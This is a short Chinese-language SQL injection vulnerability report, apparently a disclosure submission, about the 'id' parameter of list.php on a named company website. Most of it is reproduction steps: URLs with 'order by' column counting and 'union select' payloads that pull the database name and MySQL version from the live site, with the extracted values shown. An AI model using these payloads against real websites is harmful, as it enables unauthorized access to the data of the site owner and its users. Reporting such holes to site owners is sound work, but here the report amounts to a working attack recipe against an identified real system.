SQL漏洞及案例

漏洞url/位置：
http://www.ycrenfu.com.cn/list.php?id=375

影响参数：
id=?

复现步骤：
1.打开http://www.ycrenfu.com.cn ——>新闻动态——>企业新闻——>点击文章《湖北省人民政府副省长赵海山一行到公司调研指导工作 》

2.在链接为http://www.ycrenfu.com.cn/list.php?id=375的页面中，将链接修改为http://www.ycrenfu.com.cn/list.php?id=1 and 1=1 order by 1，网站在order by 1到22之间内仅图片无法加载，但是到23内则出现异常，则之后判断回显点是否出现异常

3.在链接为http://www.ycrenfu.com.cn/list.php?id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22出现了回显异常。

3.在链接为网站http://www.ycrenfu.com.cn/list.php?id=1 后方输入：and 2=16 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,database(),17,18,19,20,21,22则爆出数据库表名称为：renfu2018

4.在链接为网站http://www.ycrenfu.com.cn/list.php?id=1 后方输入： and 1=2 union select 1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22则爆出数据库版本为：5.6.14

以上可以判断，该网站存在SQL注入攻击